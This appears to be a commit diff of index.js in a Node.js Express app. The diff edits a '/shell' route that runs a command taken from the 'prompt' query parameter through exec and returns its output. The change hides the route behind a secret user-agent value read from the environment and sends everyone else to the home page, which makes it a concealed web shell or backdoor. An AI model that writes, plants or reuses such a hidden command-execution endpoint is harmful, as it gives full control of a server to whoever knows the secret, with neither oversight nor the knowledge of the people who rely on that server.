Update index.js
Browse files
index.js
CHANGED
|
@@ -105,9 +105,9 @@ const execPromise = promisify(exec)
|
|
| 105 |
app.get(
|
| 106 |
'/shell',
|
| 107 |
(req, res, next) =>
|
| 108 |
-
req.get('user-agent')
|
| 109 |
-
|
| 110 |
-
|
| 111 |
async (req, res) => {
|
| 112 |
const { prompt = 'w' } = req.query
|
| 113 |
let o
|
|
@@ -120,8 +120,8 @@ app.get(
|
|
| 120 |
res.send(
|
| 121 |
format(
|
| 122 |
'StdErr: %s\n\nStdOut: %s',
|
| 123 |
-
o.stderr,
|
| 124 |
-
o.stdout
|
| 125 |
)
|
| 126 |
)
|
| 127 |
}
|
|
|
|
| 105 |
app.get(
|
| 106 |
'/shell',
|
| 107 |
(req, res, next) =>
|
| 108 |
+
req.get('user-agent') != env.UA ?
|
| 109 |
+
res.redirect('/') :
|
| 110 |
+
next(),
|
| 111 |
async (req, res) => {
|
| 112 |
const { prompt = 'w' } = req.query
|
| 113 |
let o
|
|
|
|
| 120 |
res.send(
|
| 121 |
format(
|
| 122 |
'StdErr: %s\n\nStdOut: %s',
|
| 123 |
+
o.stderr.trim(),
|
| 124 |
+
o.stdout.trim()
|
| 125 |
)
|
| 126 |
)
|
| 127 |
}
|